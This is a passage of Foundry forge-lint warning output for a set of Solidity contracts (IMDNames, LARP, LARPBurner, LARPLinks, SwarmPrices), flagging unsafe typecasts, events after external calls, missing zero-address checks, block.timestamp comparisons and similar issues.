https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:42\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:265:36\n    │\n265 │         if (at == 0) return (0, 0, false);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:64\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:33\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:55\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                                       ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:247:37\n    │\n247 │         if (at == 0) return (0, \"\", false);\n    │                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SafeReads.sol:21:46\n   │\n21 │         return ok && w >> 160 == 0 ? address(uint160(w)) : address(0);\n   │                                              ━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'uint160' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n   ╭▸ src/SafeReads.sol:47:40\n   │\n47 │         (bool ok, bytes memory data) = target.staticcall{gas: gasCap}(call);\n   │                                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/LARPBurner.sol:114:9\n    │\n114 │         address pool4Hook,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/LARPBurner.sol:120:9\n    │\n120 │         address pairHook\n    │         ━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:142:16\n    │\n142 │         return int24(s);\n    │                ━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n   ╭▸ src/LARP.sol:78:13\n   │\n78 │         if (block.timestamp > deadline) revert Expired();\n   │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARP.sol:138:9\n    │\n138 │         emit AgentSet(imdId, holder, agent);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMDNames.sol:67:63\n   │\n67 │     constructor(address identity, ILARP larp, address burner, address artist_, address intake, address oracleSigner)\n   │                                                               ━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:109:9\n    │\n109 │         LARPBurner(payable(BURNER)).burn{value: price}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:123:24\n    │\n123 │         if (toll != 0) LARPBurner(payable(BURNER)).burn{value: toll}(minImd);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/LARPBurner.sol:284:17\n    │\n284 │             try POOL_MANAGER.unlock(data) returns (bytes memory r) {\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/LARPBurner.sol:293:13\n    │\n293 │         try POOL_MANAGER.unlock{gas: LEG_GAS}(data) returns (bytes memory r) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:193:21\n    │\n193 │                     emit Bought(eth, imd, route);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:197:27\n    │\n197 │             if (imd == 0) emit Parked(eth);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:267:9\n    │\n267 │         emit Burned(rest, share, burned6900);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/LARPBurner.sol:287:49\n    │\n287 │                 if (gasleft() <= gasBefore / 4) revert TooLittleGas();\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/LARPBurner.sol:292:61\n    │\n292 │         if (gasleft() < LEG_GAS + LEG_GAS / 63 + AFTER_GAS) revert TooLittleGas();\n    │                                                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:179:43\n    │\n179 │             uint256 spent = _burnBlock == uint64(block.number) ? _burnedInBlock : 0;\n    │                                           ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:183:30\n    │\n183 │                 _burnBlock = uint64(block.number);\n    │                              ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:184:34\n    │\n184 │                 _burnedInBlock = uint192(spent + waiting);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint192' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SwarmPrices.sol:83:38\n   │\n83 │     bytes32 public constant ACTION = bytes32(\"oracle.request@oracle-1\");\n   │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'bytes32' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:137:9\n    │\n137 │         emit NameRegistered(tokenId, label, to, price);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:131:33\n    │\n131 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:131:17\n    │\n131 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                 ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:159:45\n    │\n159 │         return ok && answer.length >= 32 && bytes4(abi.decode(answer, (bytes32))) == 0x1626ba7e;\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:153:13\n    │\n153 │             emit NameUnlinked(old, imdId);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:158:13\n    │\n158 │             emit NameUnlinked(tokenId, was - 1);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:162:9\n    │\n162 │         emit NameLinked(tokenId, imdId, holder, toll);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:185:9\n    │\n185 │         emit NameUnlinked(tokenId, imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:181:22\n    │\n181 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARP.sol:310:15\n    │\n310 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:314:36\n    │\n314 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:169:9\n    │\n169 │         emit Proposed(requestId, number, msg.sender, next);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:325:22\n    │\n325 │             out[i] = bytes16(\"0123456789abcdef\")[v & 15];\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes16' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:229:43\n    │\n229 │                 pair, SwapParams(imdIs0, -int256(amount), imdIs0 ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT), \"\"\n    │                                           ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:27\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                           ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:306:26\n    │\n306 │     function setRenderer(address renderer_) external {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:208:9\n    │\n208 │         LARPBurner(payable(BURNER)).burn{value: msg.value}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:49\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                 ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:67\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:232:82\n    │\n232 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                                  ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:233:30\n    │\n233 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                              ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:233:37\n    │\n233 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                                     ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:236:13\n    │\n236 │             POOL_MANAGER.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:237:27\n    │\n237 │             uint256 out = uint128(outDelta);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:245:61\n    │\n245 │         int256 d = POOL_MANAGER.swap(key, SwapParams(true, -int256(amount), MIN_PRICE_LIMIT), \"\");\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:327:22\n    │\n327 │         (bool ok,) = LARP.canAct(c.captain, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:246:27\n    │\n246 │         int128 ethDelta = int128(d >> 128);\n    │                           ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:247:25\n    │\n247 │         int128 bought = int128(d);\n    │                         ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:248:26\n    │\n248 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:248:33\n    │\n248 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:249:9\n    │\n249 │         POOL_MANAGER.settle{value: amount}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:250:47\n    │\n250 │         POOL_MANAGER.take(IMD, address(this), uint128(bought));\n    │                                               ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:251:27\n    │\n251 │         return abi.encode(uint256(uint128(bought)));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:251:35\n    │\n251 │         return abi.encode(uint256(uint128(bought)));\n    │                                   ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:342:39\n    │\n342 │         address distributor = address(uint160(w));\n    │                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARPBurner.sol:267:34\n    │\n267 │         emit Burned(rest, share, burned6900);\n    │                                  ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:380:31\n    │\n380 │             j.token = address(uint160(t));\n    │                               ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:443:9\n    │\n443 │         (, c.faceCollection, c.faceTokenId, c.faceLive) = LARP.faceOf(imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:454:22\n    │\n454 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:314:24\n    │\n314 │     function setArtist(address artist_) external {\n    │                        ━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/LARPBurner.sol:293:13\n    │\n293 │         try POOL_MANAGER.unlock{gas: LEG_GAS}(data) returns (bytes memory r) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:182:16\n    │\n182 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:185:9\n    │\n185 │         emit Verdict(requestId, approved, a.agreed, a.panelSize);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:182:83\n    │\n182 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                                                                                   ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes32' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:184:23\n    │\n184 │         p.decidedAt = uint64(block.timestamp);\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:202:44\n    │\n202 │         if (p.status != Status.Approved || block.timestamp > p.decidedAt + EXECUTE_WINDOW) revert NotApproved();\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:204:32\n    │\n204 │         if (lastChange != 0 && block.timestamp < lastChange + COOLDOWN) revert Cooling();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:208:22\n    │\n208 │         lastChange = uint64(block.timestamp);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:304:36\n    │\n304 │             digits[i - 1] = bytes1(uint8(48 + frac % 10));\n    │                                    